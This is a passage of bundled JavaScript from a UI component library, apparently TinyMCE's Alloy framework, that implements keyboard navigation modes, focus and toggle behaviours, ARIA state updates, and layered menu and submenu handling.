clamp$1(startRow + deltaRow, 0, matrix.length - 1); var colsInNextRow = matrix[nextRowIndex].length; var nextColIndex = clamp$1(colIndex, 0, colsInNextRow - 1); return toCell(matrix, nextRowIndex, nextColIndex); }; var cycleRight = function (matrix, startRow, startCol) { return cycleHorizontal(matrix, startRow, startCol, +1); }; var cycleLeft = function (matrix, startRow, startCol) { return cycleHorizontal(matrix, startRow, startCol, -1); }; var cycleUp = function (matrix, startRow, startCol) { return cycleVertical(matrix, startCol, startRow, -1); }; var cycleDown = function (matrix, startRow, startCol) { return cycleVertical(matrix, startCol, startRow, +1); }; var moveLeft$1 = function (matrix, startRow, startCol) { return moveHorizontal(matrix, startRow, startCol, -1); }; var moveRight$1 = function (matrix, startRow, startCol) { return moveHorizontal(matrix, startRow, startCol, +1); }; var moveUp$1 = function (matrix, startRow, startCol) { return moveVertical(matrix, startCol, startRow, -1); }; var moveDown$1 = function (matrix, startRow, startCol) { return moveVertical(matrix, startCol, startRow, +1); }; var schema$s = [ requiredObjOf('selectors', [ required$1('row'), required$1('cell') ]), defaulted('cycles', true), defaulted('previousSelector', Optional.none), defaulted('execute', defaultExecute) ]; var focusIn$1 = function (component, matrixConfig, _state) { var focused = matrixConfig.previousSelector(component).orThunk(function () { var selectors = matrixConfig.selectors; return descendant(component.element, selectors.cell); }); focused.each(function (cell) { matrixConfig.focusManager.set(component, cell); }); }; var execute$1 = function (component, simulatedEvent, matrixConfig) { return search(component.element).bind(function (focused) { return matrixConfig.execute(component, simulatedEvent, focused); }); }; var toMatrix = function (rows, matrixConfig) { return map$2(rows, function (row) { return descendants(row, matrixConfig.selectors.cell); }); }; var doMove = function (ifCycle, ifMove) { return function (element, focused, matrixConfig) { var move = matrixConfig.cycles ? ifCycle : ifMove; return closest$1(focused, matrixConfig.selectors.row).bind(function (inRow) { var cellsInRow = descendants(inRow, matrixConfig.selectors.cell); return findIndex(cellsInRow, focused).bind(function (colIndex) { var allRows = descendants(element, matrixConfig.selectors.row); return findIndex(allRows, inRow).bind(function (rowIndex) { var matrix = toMatrix(allRows, matrixConfig); return move(matrix, rowIndex, colIndex).map(function (next) { return next.cell; }); }); }); }); }; }; var moveLeft = doMove(cycleLeft, moveLeft$1); var moveRight = doMove(cycleRight, moveRight$1); var moveNorth = doMove(cycleUp, moveUp$1); var moveSouth = doMove(cycleDown, moveDown$1); var getKeydownRules$2 = constant$1([ rule(inSet(LEFT), west$1(moveLeft, moveRight)), rule(inSet(RIGHT), east$1(moveLeft, moveRight)), rule(inSet(UP), north$1(moveNorth)), rule(inSet(DOWN), south$1(moveSouth)), rule(inSet(SPACE.concat(ENTER)), execute$1) ]); var getKeyupRules$2 = constant$1([rule(inSet(SPACE), stopEventForFirefox)]); var MatrixType = typical(schema$s, NoState.init, getKeydownRules$2, getKeyupRules$2, function () { return Optional.some(focusIn$1); }); var schema$r = [ required$1('selector'), defaulted('execute', defaultExecute), defaulted('moveOnTab', false) ]; var execute = function (component, simulatedEvent, menuConfig) { return menuConfig.focusManager.get(component).bind(function (focused) { return menuConfig.execute(component, simulatedEvent, focused); }); }; var focusIn = function (component, menuConfig, _state) { descendant(component.element, menuConfig.selector).each(function (first) { menuConfig.focusManager.set(component, first); }); }; var moveUp = function (element, focused, info) { return horizontal(element, info.selector, focused, -1); }; var moveDown = function (element, focused, info) { return horizontal(element, info.selector, focused, +1); }; var fireShiftTab = function (component, simulatedEvent, menuConfig, menuState) { return menuConfig.moveOnTab ? move$1(moveUp)(component, simulatedEvent, menuConfig, menuState) : Optional.none(); }; var fireTab = function (component, simulatedEvent, menuConfig, menuState) { return menuConfig.moveOnTab ? move$1(moveDown)(component, simulatedEvent, menuConfig, menuState) : Optional.none(); }; var getKeydownRules$1 = constant$1([ rule(inSet(UP), move$1(moveUp)), rule(inSet(DOWN), move$1(moveDown)), rule(and([ isShift, inSet(TAB) ]), fireShiftTab), rule(and([ isNotShift, inSet(TAB) ]), fireTab), rule(inSet(ENTER), execute), rule(inSet(SPACE), execute) ]); var getKeyupRules$1 = constant$1([rule(inSet(SPACE), stopEventForFirefox)]); var MenuType = typical(schema$r, NoState.init, getKeydownRules$1, getKeyupRules$1, function () { return Optional.some(focusIn); }); var schema$q = [ onKeyboardHandler('onSpace'), onKeyboardHandler('onEnter'), onKeyboardHandler('onShiftEnter'), onKeyboardHandler('onLeft'), onKeyboardHandler('onRight'), onKeyboardHandler('onTab'), onKeyboardHandler('onShiftTab'), onKeyboardHandler('onUp'), onKeyboardHandler('onDown'), onKeyboardHandler('onEscape'), defaulted('stopSpaceKeyup', false), option('focusIn') ]; var getKeydownRules = function (component, simulatedEvent, specialInfo) { return [ rule(inSet(SPACE), specialInfo.onSpace), rule(and([ isNotShift, inSet(ENTER) ]), specialInfo.onEnter), rule(and([ isShift, inSet(ENTER) ]), specialInfo.onShiftEnter), rule(and([ isShift, inSet(TAB) ]), specialInfo.onShiftTab), rule(and([ isNotShift, inSet(TAB) ]), specialInfo.onTab), rule(inSet(UP), specialInfo.onUp), rule(inSet(DOWN), specialInfo.onDown), rule(inSet(LEFT), specialInfo.onLeft), rule(inSet(RIGHT), specialInfo.onRight), rule(inSet(SPACE), specialInfo.onSpace), rule(inSet(ESCAPE), specialInfo.onEscape) ]; }; var getKeyupRules = function (component, simulatedEvent, specialInfo) { return specialInfo.stopSpaceKeyup ? [rule(inSet(SPACE), stopEventForFirefox)] : []; }; var SpecialType = typical(schema$q, NoState.init, getKeydownRules, getKeyupRules, function (specialInfo) { return specialInfo.focusIn; }); var acyclic = AcyclicType.schema(); var cyclic = CyclicType.schema(); var flow = FlowType.schema(); var flatgrid = FlatgridType.schema(); var matrix = MatrixType.schema(); var execution = ExecutionType.schema(); var menu = MenuType.schema(); var special = SpecialType.schema(); var KeyboardBranches = /*#__PURE__*/Object.freeze({ __proto__: null, acyclic: acyclic, cyclic: cyclic, flow: flow, flatgrid: flatgrid, matrix: matrix, execution: execution, menu: menu, special: special }); var isFlatgridState = function (keyState) { return hasNonNullableKey(keyState, 'setGridSize'); }; var Keying = createModes({ branchKey: 'mode', branches: KeyboardBranches, name: 'keying', active: { events: function (keyingConfig, keyingState) { var handler = keyingConfig.handler; return handler.toEvents(keyingConfig, keyingState); } }, apis: { focusIn: function (component, keyConfig, keyState) { keyConfig.sendFocusIn(keyConfig).fold(function () { component.getSystem().triggerFocus(component.element, component.element); }, function (sendFocusIn) { sendFocusIn(component, keyConfig, keyState); }); }, setGridSize: function (component, keyConfig, keyState, numRows, numColumns) { if (!isFlatgridState(keyState)) { console.error('Layout does not support setGridSize'); } else { keyState.setGridSize(numRows, numColumns); } } }, state: KeyingState }); var set$2 = function (component, replaceConfig, replaceState, data) { preserve$1(function () { var newChildren = map$2(data, component.getSystem().build); replaceChildren(component, newChildren); }, component.element); }; var insert = function (component, replaceConfig, insertion, childSpec) { var child = component.getSystem().build(childSpec); attachWith(component, child, insertion); }; var append = function (component, replaceConfig, replaceState, appendee) { insert(component, replaceConfig, append$2, appendee); }; var prepend = function (component, replaceConfig, replaceState, prependee) { insert(component, replaceConfig, prepend$1, prependee); }; var remove = function (component, replaceConfig, replaceState, removee) { var children = contents(component); var foundChild = find$5(children, function (child) { return eq(removee.element, child.element); }); foundChild.each(detach); }; var contents = function (component, _replaceConfig) { return component.components(); }; var replaceAt = function (component, replaceConfig, replaceState, replaceeIndex, replacer) { var children = contents(component); return Optional.from(children[replaceeIndex]).map(function (replacee) { remove(component, replaceConfig, replaceState, replacee); replacer.each(function (r) { insert(component, replaceConfig, function (p, c) { appendAt(p, c, replaceeIndex); }, r); }); return replacee; }); }; var replaceBy = function (component, replaceConfig, replaceState, replaceePred, replacer) { var children = contents(component); return findIndex$1(children, replaceePred).bind(function (replaceeIndex) { return replaceAt(component, replaceConfig, replaceState, replaceeIndex, replacer); }); }; var ReplaceApis = /*#__PURE__*/Object.freeze({ __proto__: null, append: append, prepend: prepend, remove: remove, replaceAt: replaceAt, replaceBy: replaceBy, set: set$2, contents: contents }); var Replacing = create$7({ fields: [], name: 'replacing', apis: ReplaceApis }); var events$d = function (name, eventHandlers) { var events = derive$2(eventHandlers); return create$7({ fields: [required$1('enabled')], name: name, active: { events: constant$1(events) } }); }; var config = function (name, eventHandlers) { var me = events$d(name, eventHandlers); return { key: name, value: { config: {}, me: me, configAsRaw: constant$1({}), initialConfig: {}, state: NoState } }; }; var focus$2 = function (component, focusConfig) { if (!focusConfig.ignore) { focus$3(component.element); focusConfig.onFocus(component); } }; var blur = function (component, focusConfig) { if (!focusConfig.ignore) { blur$1(component.element); } }; var isFocused = function (component) { return hasFocus(component.element); }; var FocusApis = /*#__PURE__*/Object.freeze({ __proto__: null, focus: focus$2, blur: blur, isFocused: isFocused }); var exhibit$4 = function (base, focusConfig) { var mod = focusConfig.ignore ? {} : { attributes: { tabindex: '-1' } }; return nu$7(mod); }; var events$c = function (focusConfig) { return derive$2([run$1(focus$4(), function (component, simulatedEvent) { focus$2(component, focusConfig); simulatedEvent.stop(); })].concat(focusConfig.stopMousedown ? [run$1(mousedown(), function (_, simulatedEvent) { simulatedEvent.event.prevent(); })] : [])); }; var ActiveFocus = /*#__PURE__*/Object.freeze({ __proto__: null, exhibit: exhibit$4, events: events$c }); var FocusSchema = [ onHandler('onFocus'), defaulted('stopMousedown', false), defaulted('ignore', false) ]; var Focusing = create$7({ fields: FocusSchema, name: 'focusing', active: ActiveFocus, apis: FocusApis }); var SetupBehaviourCellState = function (initialState) { var init = function () { var cell = Cell(initialState); var get = function () { return cell.get(); }; var set = function (newState) { return cell.set(newState); }; var clear = function () { return cell.set(initialState); }; var readState = function () { return cell.get(); }; return { get: get, set: set, clear: clear, readState: readState }; }; return { init: init }; }; var updateAriaState = function (component, toggleConfig, toggleState) { var ariaInfo = toggleConfig.aria; ariaInfo.update(component, ariaInfo, toggleState.get()); }; var updateClass = function (component, toggleConfig, toggleState) { toggleConfig.toggleClass.each(function (toggleClass) { if (toggleState.get()) { add$2(component.element, toggleClass); } else { remove$2(component.element, toggleClass); } }); }; var toggle$2 = function (component, toggleConfig, toggleState) { set$1(component, toggleConfig, toggleState, !toggleState.get()); }; var on = function (component, toggleConfig, toggleState) { toggleState.set(true); updateClass(component, toggleConfig, toggleState); updateAriaState(component, toggleConfig, toggleState); }; var off = function (component, toggleConfig, toggleState) { toggleState.set(false); updateClass(component, toggleConfig, toggleState); updateAriaState(component, toggleConfig, toggleState); }; var set$1 = function (component, toggleConfig, toggleState, state) { var action = state ? on : off; action(component, toggleConfig, toggleState); }; var isOn = function (component, toggleConfig, toggleState) { return toggleState.get(); }; var onLoad = function (component, toggleConfig, toggleState) { set$1(component, toggleConfig, toggleState, toggleConfig.selected); }; var ToggleApis = /*#__PURE__*/Object.freeze({ __proto__: null, onLoad: onLoad, toggle: toggle$2, isOn: isOn, on: on, off: off, set: set$1 }); var exhibit$3 = function () { return nu$7({}); }; var events$b = function (toggleConfig, toggleState) { var execute = executeEvent(toggleConfig, toggleState, toggle$2); var load = loadEvent(toggleConfig, toggleState, onLoad); return derive$2(flatten([ toggleConfig.toggleOnExecute ? [execute] : [], [load] ])); }; var ActiveToggle = /*#__PURE__*/Object.freeze({ __proto__: null, exhibit: exhibit$3, events: events$b }); var updatePressed = function (component, ariaInfo, status) { set$8(component.element, 'aria-pressed', status); if (ariaInfo.syncWithExpanded) { updateExpanded(component, ariaInfo, status); } }; var updateSelected = function (component, ariaInfo, status) { set$8(component.element, 'aria-selected', status); }; var updateChecked = function (component, ariaInfo, status) { set$8(component.element, 'aria-checked', status); }; var updateExpanded = function (component, ariaInfo, status) { set$8(component.element, 'aria-expanded', status); }; var ToggleSchema = [ defaulted('selected', false), option('toggleClass'), defaulted('toggleOnExecute', true), defaultedOf('aria', { mode: 'none' }, choose$1('mode', { pressed: [ defaulted('syncWithExpanded', false), output$1('update', updatePressed) ], checked: [output$1('update', updateChecked)], expanded: [output$1('update', updateExpanded)], selected: [output$1('update', updateSelected)], none: [output$1('update', noop)] })) ]; var Toggling = create$7({ fields: ToggleSchema, name: 'toggling', active: ActiveToggle, apis: ToggleApis, state: SetupBehaviourCellState(false) }); var pointerEvents = function () { var onClick = function (component, simulatedEvent) { simulatedEvent.stop(); emitExecute(component); }; return [ run$1(click(), onClick), run$1(tap(), onClick), cutter(touchstart()), cutter(mousedown()) ]; }; var events$a = function (optAction) { var executeHandler = function (action) { return runOnExecute$1(function (component, simulatedEvent) { action(component); simulatedEvent.stop(); }); }; return derive$2(flatten([ optAction.map(executeHandler).toArray(), pointerEvents() ])); }; var hoverEvent = 'alloy.item-hover'; var focusEvent = 'alloy.item-focus'; var onHover = function (item) { if (search(item.element).isNone() || Focusing.isFocused(item)) { if (!Focusing.isFocused(item)) { Focusing.focus(item); } emitWith(item, hoverEvent, { item: item }); } }; var onFocus$1 = function (item) { emitWith(item, focusEvent, { item: item }); }; var hover = constant$1(hoverEvent); var focus$1 = constant$1(focusEvent); var builder$2 = function (detail) { return { dom: detail.dom, domModification: __assign(__assign({}, detail.domModification), { attributes: __assign(__assign(__assign({ 'role': detail.toggling.isSome() ? 'menuitemcheckbox' : 'menuitem' }, detail.domModification.attributes), { 'aria-haspopup': detail.hasSubmenu }), detail.hasSubmenu ? { 'aria-expanded': false } : {}) }), behaviours: SketchBehaviours.augment(detail.itemBehaviours, [ detail.toggling.fold(Toggling.revoke, function (tConfig) { return Toggling.config(__assign({ aria: { mode: 'checked' } }, tConfig)); }), Focusing.config({ ignore: detail.ignoreFocus, stopMousedown: detail.ignoreFocus, onFocus: function (component) { onFocus$1(component); } }), Keying.config({ mode: 'execution' }), Representing.config({ store: { mode: 'memory', initialValue: detail.data } }), config('item-type-events', __spreadArray(__spreadArray([], pointerEvents(), true), [ run$1(mouseover(), onHover), run$1(focusItem(), Focusing.focus) ], false)) ]), components: detail.components, eventOrder: detail.eventOrder }; }; var schema$p = [ required$1('data'), required$1('components'), required$1('dom'), defaulted('hasSubmenu', false), option('toggling'), SketchBehaviours.field('itemBehaviours', [ Toggling, Focusing, Keying, Representing ]), defaulted('ignoreFocus', false), defaulted('domModification', {}), output$1('builder', builder$2), defaulted('eventOrder', {}) ]; var builder$1 = function (detail) { return { dom: detail.dom, components: detail.components, events: derive$2([stopper(focusItem())]) }; }; var schema$o = [ required$1('dom'), required$1('components'), output$1('builder', builder$1) ]; var owner$2 = constant$1('item-widget'); var parts$h = constant$1([required({ name: 'widget', overrides: function (detail) { return { behaviours: derive$1([Representing.config({ store: { mode: 'manual', getValue: function (_component) { return detail.data; }, setValue: noop } })]) }; } })]); var builder = function (detail) { var subs = substitutes(owner$2(), detail, parts$h()); var components = components$1(owner$2(), detail, subs.internals()); var focusWidget = function (component) { return getPart(component, detail, 'widget').map(function (widget) { Keying.focusIn(widget); return widget; }); }; var onHorizontalArrow = function (component, simulatedEvent) { return inside(simulatedEvent.event.target) ? Optional.none() : function () { if (detail.autofocus) { simulatedEvent.setSource(component.element); return Optional.none(); } else { return Optional.none(); } }(); }; return { dom: detail.dom, components: components, domModification: detail.domModification, events: derive$2([ runOnExecute$1(function (component, simulatedEvent) { focusWidget(component).each(function (_widget) { simulatedEvent.stop(); }); }), run$1(mouseover(), onHover), run$1(focusItem(), function (component, _simulatedEvent) { if (detail.autofocus) { focusWidget(component); } else { Focusing.focus(component); } }) ]), behaviours: SketchBehaviours.augment(detail.widgetBehaviours, [ Representing.config({ store: { mode: 'memory', initialValue: detail.data } }), Focusing.config({ ignore: detail.ignoreFocus, onFocus: function (component) { onFocus$1(component); } }), Keying.config({ mode: 'special', focusIn: detail.autofocus ? function (component) { focusWidget(component); } : revoke(), onLeft: onHorizontalArrow, onRight: onHorizontalArrow, onEscape: function (component, simulatedEvent) { if (!Focusing.isFocused(component) && !detail.autofocus) { Focusing.focus(component); return Optional.some(true); } else if (detail.autofocus) { simulatedEvent.setSource(component.element); return Optional.none(); } else { return Optional.none(); } } }) ]) }; }; var schema$n = [ required$1('uid'), required$1('data'), required$1('components'), required$1('dom'), defaulted('autofocus', false), defaulted('ignoreFocus', false), SketchBehaviours.field('widgetBehaviours', [ Representing, Focusing, Keying ]), defaulted('domModification', {}), defaultUidsSchema(parts$h()), output$1('builder', builder) ]; var itemSchema$2 = choose$1('type', { widget: schema$n, item: schema$p, separator: schema$o }); var configureGrid = function (detail, movementInfo) { return { mode: 'flatgrid', selector: '.' + detail.markers.item, initSize: { numColumns: movementInfo.initSize.numColumns, numRows: movementInfo.initSize.numRows }, focusManager: detail.focusManager }; }; var configureMatrix = function (detail, movementInfo) { return { mode: 'matrix', selectors: { row: movementInfo.rowSelector, cell: '.' + detail.markers.item }, focusManager: detail.focusManager }; }; var configureMenu = function (detail, movementInfo) { return { mode: 'menu', selector: '.' + detail.markers.item, moveOnTab: movementInfo.moveOnTab, focusManager: detail.focusManager }; }; var parts$g = constant$1([group({ factory: { sketch: function (spec) { var itemInfo = asRawOrDie$1('menu.spec item', itemSchema$2, spec); return itemInfo.builder(itemInfo); } }, name: 'items', unit: 'item', defaults: function (detail, u) { return has$2(u, 'uid') ? u : __assign(__assign({}, u), { uid: generate$5('item') }); }, overrides: function (detail, u) { return { type: u.type, ignoreFocus: detail.fakeFocus, domModification: { classes: [detail.markers.item] } }; } })]); var schema$m = constant$1([ required$1('value'), required$1('items'), required$1('dom'), required$1('components'), defaulted('eventOrder', {}), field('menuBehaviours', [ Highlighting, Representing, Composing, Keying ]), defaultedOf('movement', { mode: 'menu', moveOnTab: true }, choose$1('mode', { grid: [ initSize(), output$1('config', configureGrid) ], matrix: [ output$1('config', configureMatrix), required$1('rowSelector') ], menu: [ defaulted('moveOnTab', true), output$1('config', configureMenu) ] })), itemMarkers(), defaulted('fakeFocus', false), defaulted('focusManager', dom$2()), onHandler('onHighlight') ]); var focus = constant$1('alloy.menu-focus'); var make$7 = function (detail, components, _spec, _externals) { return { uid: detail.uid, dom: detail.dom, markers: detail.markers, behaviours: augment(detail.menuBehaviours, [ Highlighting.config({ highlightClass: detail.markers.selectedItem, itemClass: detail.markers.item, onHighlight: detail.onHighlight }), Representing.config({ store: { mode: 'memory', initialValue: detail.value } }), Composing.config({ find: Optional.some }), Keying.config(detail.movement.config(detail, detail.movement)) ]), events: derive$2([ run$1(focus$1(), function (menu, simulatedEvent) { var event = simulatedEvent.event; menu.getSystem().getByDom(event.target).each(function (item) { Highlighting.highlight(menu, item); simulatedEvent.stop(); emitWith(menu, focus(), { menu: menu, item: item }); }); }), run$1(hover(), function (menu, simulatedEvent) { var item = simulatedEvent.event.item; Highlighting.highlight(menu, item); }) ]), components: components, eventOrder: detail.eventOrder, domModification: { attributes: { role: 'menu' } } }; }; var Menu = composite({ name: 'Menu', configFields: schema$m(), partFields: parts$g(), factory: make$7 }); var transpose$1 = function (obj) { return tupleMap(obj, function (v, k) { return { k: v, v: k }; }); }; var trace = function (items, byItem, byMenu, finish) { return get$e(byMenu, finish).bind(function (triggerItem) { return get$e(items, triggerItem).bind(function (triggerMenu) { var rest = trace(items, byItem, byMenu, triggerMenu); return Optional.some([triggerMenu].concat(rest)); }); }).getOr([]); }; var generate$2 = function (menus, expansions) { var items = {}; each(menus, function (menuItems, menu) { each$1(menuItems, function (item) { items[item] = menu; }); }); var byItem = expansions; var byMenu = transpose$1(expansions); var menuPaths = map$1(byMenu, function (_triggerItem, submenu) { return [submenu].concat(trace(items, byItem, byMenu, submenu)); }); return map$1(items, function (menu) { return get$e(menuPaths, menu).getOr([menu]); }); }; var init$c = function () { var expansions = Cell({}); var menus = Cell({}); var paths = Cell({}); var primary = value$1(); var directory = Cell({}); var clear = function () { expansions.set({}); menus.set({}); paths.set({}); primary.clear(); }; var isClear = function () { return primary.get().isNone(); }; var setMenuBuilt = function (menuName, built) { var _a; menus.set(__assign(__assign({}, menus.get()), (_a = {}, _a[menuName] = { type: 'prepared', menu: built }, _a))); }; var setContents = function (sPrimary, sMenus, sExpansions, dir) { primary.set(sPrimary); expansions.set(sExpansions); menus.set(sMenus); directory.set(dir); var sPaths = generate$2(dir, sExpansions); paths.set(sPaths); }; var getTriggeringItem = function (menuValue) { return find$4(expansions.get(), function (v, _k) { return v === menuValue; }); }; var getTriggerData = function (menuValue, getItemByValue, path) { return getPreparedMenu(menuValue).bind(function (menu) { return getTriggeringItem(menuValue).bind(function (triggeringItemValue) { return getItemByValue(triggeringItemValue).map(function (triggeredItem) { return { triggeredMenu: menu, triggeringItem: triggeredItem, triggeringPath: path }; }); }); }); }; var getTriggeringPath = function (itemValue, getItemByValue) { var extraPath = filter$2(lookupItem(itemValue).toArray(), function (menuValue) { return getPreparedMenu(menuValue).isSome(); }); return get$e(paths.get(), itemValue).bind(function (path) { var revPath = reverse(extraPath.concat(path)); var triggers = bind$3(revPath, function (menuValue, menuIndex) { return getTriggerData(menuValue, getItemByValue, revPath.slice(0, menuIndex + 1)).fold(function () { return is$1(primary.get(), menuValue) ? [] : [Optional.none()]; }, function (data) { return [Optional.some(data)]; }); }); return sequence(triggers); }); }; var expand = function (itemValue) { return get$e(expansions.get(), itemValue).map(function (menu) { var current = get$e(paths.get(), itemValue).getOr([]); return [menu].concat(current); }); }; var collapse = function (itemValue) { return get$e(paths.get(), itemValue).bind(function (path) { return path.length > 1 ? Optional.some(path.slice(1)) : Optional.none(); }); }; var refresh = function (itemValue) { return get$e(paths.get(), itemValue); }; var getPreparedMenu = function (menuValue) { return lookupMenu(menuValue).bind(extractPreparedMenu); }; var lookupMenu = function (menuValue) { return get$e(menus.get(), menuValue); }; var lookupItem = function (itemValue) { return get$e(expansions.get(), itemValue); }; var otherMenus = function (path) { var menuValues = directory.get(); return difference(keys(menuValues), path); }; var getPrimary = function () { return primary.get().bind(getPreparedMenu); }; var getMenus = function () { return menus.get(); }; return { setMenuBuilt: setMenuBuilt, setContents: setContents, expand: expand, refresh: refresh, collapse: collapse, lookupMenu: lookupMenu, lookupItem: lookupItem, otherMenus: otherMenus, getPrimary: getPrimary, getMenus: getMenus, clear: clear, isClear: isClear, getTriggeringPath: getTriggeringPath }; }; var extractPreparedMenu = function (prep) { return prep.type === 'prepared' ? Optional.some(prep.menu) : Optional.none(); }; var LayeredState = { init: init$c, extractPreparedMenu: extractPreparedMenu }; var make$6 = function (detail, _rawUiSpec) { var submenuParentItems = value$1(); var buildMenus = function (container, primaryName, menus) { return map$1(menus, function (spec, name) { var makeSketch = function () { return Menu.sketch(__assign(__assign({}, spec), { value: name, markers: detail.markers, fakeFocus: detail.fakeFocus, onHighlight: detail.onHighlight, focusManager: detail.fakeFocus ? highlights() : dom$2() })); }; return name === primaryName ? { type: 'prepared', menu: container.getSystem().build(makeSketch()) } : { type: 'notbuilt', nbMenu: makeSketch }; }); }; var layeredState = LayeredState.init(); var setup = function (container) { var componentMap = buildMenus(container, detail.data.primary, detail.data.menus); var directory = toDirectory(); layeredState.setContents(detail.data.primary, componentMap, detail.data.expansions, directory); return layeredState.getPrimary(); }; var getItemValue = function (item) { return Representing.getValue(item).value; }; var getItemByValue = function (_container, menus, itemValue) { return findMap(menus, function (menu) { if (!menu.getSystem().isConnected()) { return Optional.none(); } var candidates = Highlighting.getCandidates(menu); return find$5(candidates, function (c) { return getItemValue(c) === itemValue; }); }); }; var toDirectory = function (_container) { return map$1(detail.data.menus, function (data, _menuName) { return bind$3(data.items, function (item) { return item.type === 'separator' ? [] : [item.data.value]; }); }); }; var setActiveMenu = function (container, menu) { Highlighting.highlight(container, menu); Highlighting.getHighlighted(menu).orThunk(function () { return Highlighting.getFirst(menu); }).each(function (item) { dispatch(container, item.element, focusItem()); }); }; var getMenus = function (state, menuValues) { return cat(map$2(menuValues, function (mv) { return state.lookupMenu(mv).bind(function (prep) { return prep.type === 'prepared' ? Optional.some(prep.menu) : Optional.none(); }); })); }; var closeOthers = function (container, state, path) { var others = getMenus(state, state.otherMenus(path)); each$1(others, function (o) { remove$1(o.element, [detail.markers.backgroundMenu]); if (!detail.stayInDom) { Replacing.remove(container, o); } }); }; var getSubmenuParents = function (container) { return submenuParentItems.get().getOrThunk(function () { var r = {}; var items = descendants(container.element, '.' + detail.markers.item); var parentItems = filter$2(items, function (i) { return get$d(i, 'aria-haspopup') === 'true'; }); each$1(parentItems, function (i) { container.getSystem().getByDom(i).each(function (itemComp) { var key = getItemValue(itemComp); r[key] = itemComp; }); }); submenuParentItems.set(r); return r; }); }; var updateAriaExpansions = function (container, path) { var parentItems = getSubmenuParents(container); each(parentItems, function (v, k) { var expanded = contains$2(path, k); set$8(v.element, 'aria-expanded', expanded); }); }; var updateMenuPath = function (container, state, path) { return Optional.from(path[0]).bind(function (latestMenuName) { return state.lookupMenu(latestMenuName).bind(function (menuPrep) { if (menuPrep.type === 'notbuilt') { return Optional.none(); } else { var activeMenu = menuPrep.menu; var rest = getMenus(state, path.slice(1)); each$1(rest, function (r) { add$2(r.element, detail.markers.backgroundMenu); }); if (!inBody(activeMenu.element)) { Replacing.append(container, premade(activeMenu)); } remove$1(activeMenu.element, [detail.markers.backgroundMenu]); setActiveMenu(container, activeMenu); closeOthers(container, state, path); return Optional.some(activeMenu); } }); }); }; var ExpandHighlightDecision; (function (ExpandHighlightDecision) { ExpandHighlightDecision[ExpandHighlightDecision['HighlightSubmenu'] = 0] = 'HighlightSubmenu'; ExpandHighlightDecision[ExpandHighlightDecision['HighlightParent'] = 1] = 'HighlightParent'; }(ExpandHighlightDecision || (ExpandHighlightDecision = {}))); var buildIfRequired = function (container, menuName, menuPrep) { if (menuPrep.type === 'notbuilt') { var menu = container.getSystem().build(menuPrep.nbMenu()); layeredState.setMenuBuilt(menuName, menu); return menu; } else { return menuPrep.menu; } }; var expandRight = function (container, item, decision) { if (decision === void 0) { decision = ExpandHighlightDecision.HighlightSubmenu; } if (item.hasConfigured(Disabling) && Disabling.isDisabled(item)) { return Optional.some(item); } else { var value = getItemValue(item); return layeredState.expand(value).bind(function (path) { updateAriaExpansions(container, path); return Optional.from(path[0]).bind(function (menuName) { return layeredState.lookupMenu(menuName).bind(function (activeMenuPrep) { var activeMenu = buildIfRequired(container, menuName, activeMenuPrep); if (!inBody(activeMenu.element)) { Replacing.append(container, premade(activeMenu)); } detail.onOpenSubmenu(container, item, activeMenu, reverse(path)); if (decision === ExpandHighlightDecision.HighlightSubmenu) { Highlighting.highlightFirst(activeMenu); return updateMenuPath(container, layeredState, path); } else { Highlighting.dehighlightAll(activeMenu); return Optional.some(item); } }); }); }); } }; var collapseLeft = function (container, item) { var value = getItemValue(item); return layeredState.collapse(value).bind(function (path) { updateAriaExpansions(container, path); return updateMenuPath(container, layeredState, path).map(function (activeMenu) { detail.onCollapseMenu(container, item, activeMenu); return activeMenu; }); }); }; var updateView = function (container, item) { var value = getItemValue(item); return layeredState.refresh(value).bind(function (path) { updateAriaExpansions(container, path); return updateMenuPath(container, layeredState, path); }); }; var onRight = function (container, item) { return inside(item.element) ? Optional.none() : expandRight(container, item, ExpandHighlightDecision.HighlightSubmenu); }; var onLeft = function (container, item) { return inside(item.element) ? Optional.none() : collapseLeft(container, item); }; var onEscape = function (container, item) { return collapseLeft(container, item).orThunk(function () { return detail.onEscape(container, item).map(function () { return container; }); }); }; var keyOnItem = function (f) { return function (container, simulatedEvent) { return closest$1(simulatedEvent.getSource(), '.' + detail.markers.item).bind(function (target) { return container.getSystem().getByDom(target).toOptional().bind(function (item) { return f(container, item).map(always); }); }); }; }; var events = derive$2([ run$1(focus(), function (sandbox, simulatedEvent) { var item = simulatedEvent.event.item; layeredState.lookupItem(getItemValue(item)).each(function () { var menu = simulatedEvent.event.menu; Highlighting.highlight(sandbox, menu); var value = getItemValue(simulatedEvent.event.item); layeredState.refresh(value).each(function (path) { return closeOthers(sandbox, layeredState, path); }); }); }), runOnExecute$1(function (component, simulatedEvent) { var target = simulatedEvent.event.target; component.getSystem().getByDom(target).each(function (item) { var itemValue = getItemValue(item); if (itemValue.indexOf('collapse-item') === 0) { collapseLeft(component, item); } expandRight(component, item, ExpandHighlightDecision.HighlightSubmenu).fold(function () { detail.onExecute(component, item); }, noop); }); }), runOnAttached(function (container, _simulatedEvent) { setup(container).each(function (primary) { Replacing.append(container, premade(primary)); detail.onOpenMenu(container, primary); if (detail.highlightImmediately) { setActiveMenu(container, primary); } }); }) ].concat(detail.navigateOnHover ? [run$1(hover(), function (sandbox, simulatedEvent) { var item = simulatedEvent.event.item; updateView(sandbox, item); expandRight(sandbox, item, ExpandHighlightDecision.HighlightParent); detail.onHover(sandbox, item); })] : [])); var getActiveItem = function (container) { return Highlighting.getHighlighted(container).bind(Highlighting.getHighlighted); }; var collapseMenuApi = function (container) { getActiveItem(container).each(function (currentItem) { collapseLeft(container, currentItem); }); }; var highlightPrimary = function (container) { layeredState.getPrimary().each(function (primary) { setActiveMenu(container, primary); }); }; var extractMenuFromContainer = function (container) { return Optional.from(container.components()[0]).filter(function (comp) { return get$d(comp.element, 'role') === 'menu'; }); }; var repositionMenus = function (container) { var maybeActivePrimary = layeredState.getPrimary().bind(function (primary) { return getActiveItem(container).bind(function (currentItem) { var itemValue = getItemValue(currentItem); var allMenus = values(layeredState.getMenus()); var preparedMenus = cat(map$2(allMenus, LayeredState.extractPreparedMenu)); return layeredState.getTriggeringPath(itemValue, function (v) { return getItemByValue(container, preparedMenus, v); }); }).map(function (triggeringPath) { return { primary: primary, triggeringPath: triggeringPath }; }); }); maybeActivePrimary.fold(function () { extractMenuFromContainer(container).each(function (primaryMenu) { detail.onRepositionMenu(container, primaryMenu, []); }); }, function (_a) { var primary = _a.primary, triggeringPath = _a.triggeringPath; detail.onRepositionMenu(container, primary, triggeringPath); }); }; var apis = { collapseMenu: collapseMenuApi, highlightPrimary: highlightPrimary, repositionMenus: repositionMenus }; return { uid: detail.uid, 